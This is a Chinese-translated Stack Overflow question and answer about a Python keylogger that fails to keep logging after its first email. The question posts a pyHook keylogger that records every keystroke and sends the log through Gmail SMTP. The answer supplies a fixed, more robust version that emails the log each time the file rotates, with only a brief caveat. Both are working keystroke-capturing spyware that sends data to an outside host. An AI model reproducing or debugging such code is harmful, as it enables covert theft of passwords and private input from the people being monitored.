【问题标题】:logging and clearing file记录和清除文件
【发布时间】:2012-07-31 09:08:21
【问题描述】:

我正在研究简单的键盘记录器 -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

当文件长度为 1000 时,应将日志保存到文件并发送到电子邮件。然后清除日志,当长度为 1000 时再次发送邮件等。但是此代码不起作用,文件以 1000 发送,已清除,但是不再登录。问题出在哪里?谢谢

【问题讨论】:

  • logging 模块处理path 处的文件。如果您手动打开和关闭文件,日志记录会变得混乱。
  • 不要将电子邮件和密码放在代码中。顺便说一句,我很好奇,通过电子邮件发送日志的键盘记录器的有效性如何。
  • 您应该更改您的电子邮件密码,如果之前的密码是您的真实密码。
  • 改用翻转功能(RotatingFileHandler):stackoverflow.com/questions/6167587/….
  • 还有没有其他方法可以在没有 RotatingFileHandler 的情况下解决这个问题?

标签: python logging keylogger


【解决方案1】:

类似于以下内容。不过,请仔细考虑一下您为什么需要键盘记录器。这是未经测试的。

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()

【讨论】:

  • Rob,请从您的回答中删除 SMTP 登录凭据。
  • 嗯,AttributeError:“模块”对象没有属性“处理程序”。这很奇怪。
  • 已编辑。已添加import logging.handlers
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-08-25
  • 1970-01-01
  • 2018-05-05
相关资源
最近更新 更多